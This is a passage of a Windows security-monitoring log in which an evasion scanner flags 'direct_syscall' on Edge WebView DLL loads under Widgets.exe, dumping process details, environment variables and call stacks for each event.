Files\WindowsApps\MicrosoftWindows.Client.WebExperience_525.31002.150.0_x64__cw5n1h2txyewy\Dashboard\Widgets.exe" -ServerName:Microsoft.Windows.DashboardServer + Exe: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe + Cwd: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10180.7888.5612976410328043299 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:2880 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_2880_ARFMIOGUEXAMZGKJ EDGE_METRICS_CLIENT_ID_HASH:6092338358981505986 EDGE_METRICS_SESSION_ID:340 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"wpHXXpsNBmdIXiXmW9rewV/GUz46RhuaXpzglQtfG4I=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView EDGE_UX_CONFIG_CORRELATION_ID: EDGE_VARIATIONS_SEED_ETAG:"RKa0yZCvphvrLkeQXHzehWRDeynURWvoI0qYVZ6UVdk=" EDGE_WEBVIEW_PREFETCH_HOSTED_APP:/pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo IS_EDGE_WEBVIEW:1 JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff801b7b42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff801b7a74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff801b7b48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff801b8072258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff801b8071ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff801b80690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff801b80621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff801b806179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff801b7eb2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7fff54c91014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7fff54aa3640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7fff54aa3a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7fff955053db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff95504e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff955084cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7fff9550701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff95574294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7fff955163a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff95516020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff9553fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7fff92dad29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7fff93c27a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7fff93c2759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7fff93c444fe C:\Windows\System32\combase.dll!WindowsDeleteString|0x7fff93dad25a C:\Windows\System32\combase.dll!Ordinal225|0x7fff93bf923c C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7fff93bf8af7 C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7fff93bf966a C:\Windows\System32\combase.dll!CLSIDFromProgID|0x7fff93bfa6c9 C:\Windows\System32\combase.dll!RoActivateInstance|0x7fff6cf1d940 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff6cf1bb3c C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff6cf1a59c C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff6cf26d97 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff6cf2e223 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff6cf2dd67 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff6cf2dcf9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff6cf306d5 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff942eab76 C:\Windows\System32\SHCore.dll!Ordinal131|0x7fff942ea8aa C:\Windows\System32\SHCore.dll!Ordinal131|0x7fff942e9c47 C:\Windows\System32\SHCore.dll!Ordinal131|0x7fff948de8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff9558c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-02T16:25:11+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 6141975 + Pid: 2880 + Tid: 9756 + Type: LoadImage + CPU: 5 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-02 16:25:07.6662405 +0100 CET + Params: base_address➜ 7fff715d0000, checksum➜ 879719, default_address➜ 7fff715d0000, file_path➜ C:\Windows\System32\Windows.StateRepositoryPS.dll, image_size➜ 802816, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 2880, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 2880 + Ppid: 10180 + Name: msedgewebview2.exe + Parent name: Widgets.exe + Cmdline: "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10180.7888.5612976410328043299 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 + Parent cmdline: "C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_525.31002.150.0_x64__cw5n1h2txyewy\Dashboard\Widgets.exe" -ServerName:Microsoft.Windows.DashboardServer + Exe: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe + Cwd: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10180.7888.5612976410328043299 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:2880 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_2880_ARFMIOGUEXAMZGKJ EDGE_METRICS_CLIENT_ID_HASH:6092338358981505986 EDGE_METRICS_SESSION_ID:340 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"wpHXXpsNBmdIXiXmW9rewV/GUz46RhuaXpzglQtfG4I=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView EDGE_UX_CONFIG_CORRELATION_ID: EDGE_VARIATIONS_SEED_ETAG:"RKa0yZCvphvrLkeQXHzehWRDeynURWvoI0qYVZ6UVdk=" EDGE_WEBVIEW_PREFETCH_HOSTED_APP:/pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo IS_EDGE_WEBVIEW:1 JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff801b7b42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff801b7a74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff801b7b48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff801b8072258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff801b8071ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff801b80690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff801b80621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff801b806179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff801b7eb2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7fff54c91014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7fff54aa3640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7fff54aa3a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7fff955053db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff95504e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff955084cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7fff9550701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff95574294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7fff955163a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff95516020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff9553fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7fff92dad29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7fff93c27a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7fff93c2759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7fff93dab8a2 C:\Windows\System32\combase.dll!Ordinal225|0x7fff93dacc5c C:\Windows\System32\combase.dll!Ordinal225|0x7fff93dacd65 C:\Windows\System32\combase.dll!Ordinal225|0x7fff93da8fb6 C:\Windows\System32\combase.dll!CoGetInstanceFromIStorage|0x7fff93d44304 C:\Windows\System32\combase.dll!CStdAsyncStubBuffer_QueryInterface|0x7fff93c1b83b C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7fff93c1b77c C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7fff93c1a662 C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7fff93c1a279 C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7fff93ceff04 C:\Windows\System32\combase.dll!RoRegisterActivationFactories|0x7fff93d8717e C:\Windows\System32\combase.dll!Ordinal130|0x7fff93c477fb C:\Windows\System32\combase.dll!CoUnmarshalInterface|0x7fff93c462ed C:\Windows\System32\combase.dll!CoUnmarshalInterface|0x7fff93c98013 C:\Windows\System32\combase.dll!CoGetStandardMarshal|0x7fff93c5eef0 C:\Windows\System32\combase.dll!StringFromCLSID|0x7fff93bf74bd C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7fff93bf6e1f C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7fff6cee93f7 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff6cee86a6 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff6cf28cb7 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff6cf26f90 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff6cf2e223 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff6cf2dd67 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff6cf2dcf9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff6cf306d5 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff942eab76 C:\Windows\System32\SHCore.dll!Ordinal131|0x7fff942ea8aa C:\Windows\System32\SHCore.dll!Ordinal131|0x7fff942e9c47 C:\Windows\System32\SHCore.dll!Ordinal131|0x7fff948de8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff9558c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-02T16:25:12+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 6142141 + Pid: 2880 + Tid: 17776 + Type: LoadImage + CPU: 7 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-02 16:25:07.6829169 +0100 CET + Params: base_address➜ 7fff7cc40000, checksum➜ 289238, default_address➜ 7fff7cc40000, file_path➜ C:\Windows\System32\aadWamExtension.dll, image_size➜ 229376, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 2880, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 2880 + Ppid: 10180 + Name: msedgewebview2.exe + Parent name: Widgets.exe + Cmdline: "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10180.7888.5612976410328043299 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 + Parent cmdline: "C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_525.31002.150.0_x64__cw5n1h2txyewy\Dashboard\Widgets.exe" -ServerName:Microsoft.Windows.DashboardServer + Exe: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe + Cwd: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10180.7888.5612976410328043299 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:2880 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_2880_ARFMIOGUEXAMZGKJ EDGE_METRICS_CLIENT_ID_HASH:6092338358981505986 EDGE_METRICS_SESSION_ID:340 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"wpHXXpsNBmdIXiXmW9rewV/GUz46RhuaXpzglQtfG4I=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView EDGE_UX_CONFIG_CORRELATION_ID: EDGE_VARIATIONS_SEED_ETAG:"RKa0yZCvphvrLkeQXHzehWRDeynURWvoI0qYVZ6UVdk=" EDGE_WEBVIEW_PREFETCH_HOSTED_APP:/pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo IS_EDGE_WEBVIEW:1 JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff801b7b42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff801b7a74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff801b7b48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff801b8072258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff801b8071ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff801b80690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff801b80621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff801b806179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff801b7eb2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7fff54c91014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7fff54aa3640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7fff54aa3a53 C:\Program Files 